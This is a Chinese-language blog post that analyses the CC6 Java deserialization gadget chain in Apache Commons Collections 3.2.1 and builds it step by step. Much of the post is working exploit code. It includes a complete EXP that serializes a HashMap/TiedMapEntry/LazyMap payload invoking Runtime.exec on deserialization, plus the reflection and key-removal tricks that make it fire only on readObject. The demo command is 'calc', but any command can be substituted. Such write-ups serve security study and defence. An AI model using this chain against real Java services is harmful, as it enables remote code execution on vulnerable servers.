java反序列化-CC6链 分析

CC6链 分析

  • 开始我们 CC 链代码审计的第二个链子 CC6

先说一说 CC6 链同我们之前 CC1 链的一些不同之处吧,我们当时审计 CC1 链的时候要求是比较严格的。要求的环境为 jdk8u65Commons-Collections 3.2.1

而我们的 CC6 链,可以不受 jdk 版本制约。

如果用一句话介绍一下 CC6,那就是 CC6 = CC1 + URLDNS

CC6 链的前半条链与 CC1 正版链子是一样的,也就是到 LazyMap 链

img

<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->  
<dependency>  
 <groupId>commons-collections</groupId>  
 <artifactId>commons-collections</artifactId>  
 <version>3.2.1</version>  
</dependency>

找链子

  • 根据 ysoSerial 官方的链子,是 TiedMapEntry 类中的 getValue() 方法调用了 LazyMapget() 方法。

image

java安全太卷了啊,get方法处查找用法会出现成千上万个调用的地方啊我勒个豆!!这里我们直接跟进到TiedMapEntry 类中的 getValue() 方法吧。

image

这里先重新写一遍通过LazyMap调用计算器的代码吧

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class try1 {
    public static void main (String[] args) throws Exception {
        Runtime runtime=Runtime.getRuntime();
        InvokerTransformer invokertransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        HashMap<Object,Object>hashmap=new HashMap<>();
        Map decoratemap= LazyMap.decorate(hashmap,invokertransformer);
        //接下来获取get方法,调用factory.transform
        Class<LazyMap> lazyMapClass = LazyMap.class;
        Method lazygetmethod=lazyMapClass.getDeclaredMethod("get",Object.class);
        lazygetmethod.setAccessible(true);
        lazygetmethod.invoke(decoratemap,runtime);

    }
}

image

我们的下一步就是通过TiedMapEntry类的getValue()方法来调用LazyMap类的get()方法。

我们用 TiedMapEntry 写一个 EXP,确保这条链子是能用的。

  • 因为 TiedMapEntry 是作用域是 public,所以我们不需要反射获取它的方法,可以直接调用并修改。

image

image

import com.sun.net.httpserver.Filter;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import org.apache.commons.collections.Transformer;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class try1 {
    public static void main (String[] args) throws Exception {
        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
        HashMap<Object,Object>hashmap=new HashMap<>();
        Map lazymap=LazyMap.decorate(hashmap,chainedTransformer);
        TiedMapEntry tiedmapentry=new TiedMapEntry(lazymap,"runtime");
        tiedmapentry.getValue();
    }
}

image

这里的逻辑还是很简单的,直接 new 一个 TiedMapEntry 对象,并调用它的 getValue() 方法即可,它的 getValue 方法会去调用 map.get(key) 方法。

接下来要去找谁调用了TiedMapEntry的getValue()方法.

  • 寻找的方法也略提一嘴,因为 getValue() 这一个方法是相当相当常见的,所以我们一般会优先找同一类下是否存在调用情况。

寻找到同名函数下的 hashCode() 方法调用了 getValue() 方法。

image

如果我们在实战里面,在链子中找到了 hashCode() 方法,说明我们的构造已经可以“半场开香槟”了,因为可以直接根据urldns的链来进行了。

xxx.readObject()
	HashMap.put() --自动调用-->   HashMap.hash()
		后续利用链.hashCode()

hashcode之后的链子基本上就这一条。

这里先给出一段从 HashMap.put 开始,到 InvokerTransformer 结尾的弹计算器的 EXP:

import com.sun.net.httpserver.Filter;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import org.apache.commons.collections.Transformer;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class try1 {
    public static void main (String[] args) throws Exception {
        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
        HashMap<Object,Object>hashmap=new HashMap<>();
        Map lazymap=LazyMap.decorate(hashmap,chainedTransformer);
        TiedMapEntry tiedmapentry=new TiedMapEntry(lazymap,"runtime");
        HashMap<Object,Object>expmap=new HashMap<>();
        expmap.put(tiedmapentry,"value");
    }
}

这里在 25 行,也就是 HashMap<Object, Object> expMap = new HashMap<>(); 这里打断点,会发现直接 24 行就弹计算器了

image

因为在 IDEA 进行 debug 调试的时候,为了展示对象的集合,会自动调用 toString() 方法,所以在创建 TiedMapEntry 的时候,就自动调用了 getValue() 最终将链子走完,然后弹出计算器。

image

image

把这个启动toString对象视图关闭就可以了!

然后我们接着分析链子。

HashMap 类的 put() 方法自动调用了 hashCode 方法

接下来尝试构造最终EXP:

import com.sun.net.httpserver.Filter;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import org.apache.commons.collections.Transformer;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class try1 {
    public static void main (String[] args) throws Exception {
        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
        HashMap<Object,Object>hashmap=new HashMap<>();
        Map lazymap=LazyMap.decorate(hashmap,chainedTransformer);
        TiedMapEntry tiedmapentry=new TiedMapEntry(lazymap,"runtime");
        HashMap<Object,Object>expmap=new HashMap<>();
        expmap.put(tiedmapentry,"value");

        serialize(expmap);
        unserialize("ser.bin");
    }

    public static void serialize(Object obj)throws IOException{
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
        Object obj=ois.readObject();
        return obj;
    }

}

image

但是!!!!

我在打断点调试的时候发现当我序列化的时候,就能够弹出计算器,太奇怪了,这与 URLDNS 链中的情景其实是一模一样的。

image

image

在put方法进行时就会调用hashCode()从而导致弹出计算器。

解决在序列化的时候就弹出计算器的问题

由于HashMap的put方法会导致提前调用hash方法,从而在序列化前就命令执行,所以这里修改一下代码。

接下来我们需要解决这个问题!

  • 参考 URLDNS 链中的思想,先在执行 put() 方法的时候,先不让其进行命令执行,在反序列化的时候再命令执行。
Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);

我们之前传进去的参数是 chainedTransformer,我们在序列化的时候传进去一个没用的东西,再在反序列化的时候通过反射,将其修改回 chainedTransformer

相关的属性值在 LazyMap 当中为 factory,作用域为protected

image

Map lazymap = LazyMap.decorate(new HashMap(), new ConstantTransformer("1"));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "2");

HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry, "3");

反射修改lazymap的factory的值

Class<LazyMap> lazyMapClass = LazyMap.class;
Field factoryField = lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazymap, chainedTransformer);

然后尝试进行序列化和反序列化

exp如下:

import com.sun.net.httpserver.Filter;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import org.apache.commons.collections.Transformer;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class try1 {
    public static void main (String[] args) throws Exception {
        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
        HashMap<Object,Object>hashmap=new HashMap<>();
        Map lazymap=LazyMap.decorate(hashmap,new ConstantTransformer("1"));
        TiedMapEntry tiedmapentry=new TiedMapEntry(lazymap,"2");
        HashMap<Object,Object>expmap=new HashMap<>();
        expmap.put(tiedmapentry,"3");
        Class<LazyMap>lazyMapClass=LazyMap.class;
        Field factoryField=lazyMapClass.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(lazymap,chainedTransformer);

        serialize(expmap);
        unserialize("ser.bin");
    }

    public static void serialize(Object obj)throws IOException{
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
        Object obj=ois.readObject();
        return obj;
    }

}

image

代码执行了,但是并没有弹出计算器。这是为什么呢?

HashMap的put方法调用了hash(key),hash方法调用了key.hashCode(),进而执行tiedMapEntry.hashCode()方法,然后就会执行lazymap.get()

接下来我们定位到lazymap的get方法

image

这里需要满足map.containsKey(key) == false才能进入if语句执行transform方法

而我们之前的,这里key为2,map.containsKey(key)为true,没有进入到if语句中,因此没有进行命令执行。

image

可是我也没有给lazymap传入key为2的数据啊,这是为什么捏?

注意,问题还是LazyMap的get方法

序列化前的操作:如果map没包含这个key,那么就给map传入这个键值对。

这里的"2"其实就是我们上面TiedMapEntry tiedmapentry=new TiedMapEntry(lazymap,"2");时传入的key值2

这样就会导致反序列化时map里已经存在这个key了,所以不会执行factory.transform(key),从而导致无法命令执行。

image

所以,我们需要在hashMap.put之后,把lazymap的ley删除掉

lazymap.remove("2");

然后就可以弹计算器啦~!!

image

image

image

serialize执行后没有弹计算器,但是unserialize执行后会弹出计算器!拿捏~!

整体EXP:

import com.sun.net.httpserver.Filter;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import org.apache.commons.collections.Transformer;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class try1 {
    public static void main (String[] args) throws Exception {
        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
        HashMap<Object,Object>hashmap=new HashMap<>();
        Map lazymap=LazyMap.decorate(hashmap,new ConstantTransformer("1"));
        TiedMapEntry tiedmapentry=new TiedMapEntry(lazymap,"2");
        HashMap<Object,Object>expmap=new HashMap<>();
        expmap.put(tiedmapentry,"3");
        lazymap.remove("2");
        Class<LazyMap>lazyMapClass=LazyMap.class;
        Field factoryField=lazyMapClass.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(lazymap,chainedTransformer);

        serialize(expmap);
        unserialize("ser.bin");
    }

    public static void serialize(Object obj)throws IOException{
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
        Object obj=ois.readObject();
        return obj;
    }

}

整体利用链

HashMap.readObject()
HashMap.hash()
    TiedMapEntry.hashCode()
    TiedMapEntry.getValue()
        LazyMap.get()
            ChainedTransformer.transform()
                InvokerTransformer.transform()
                    Method.invoke()
                        Runtime.exec()

再提一嘴,CC6 链被称为最好用的 CC 链,是因为其不受 jdk 版本的影响,无论是 jdk8u65,或者 jdk9u312 都可以复现。只收CC限制影响,要在3.2.1极其以下吧我记得。

posted @ 2024-11-29 16:09  Meteor_Kai  阅读(104)  评论(0)    收藏  举报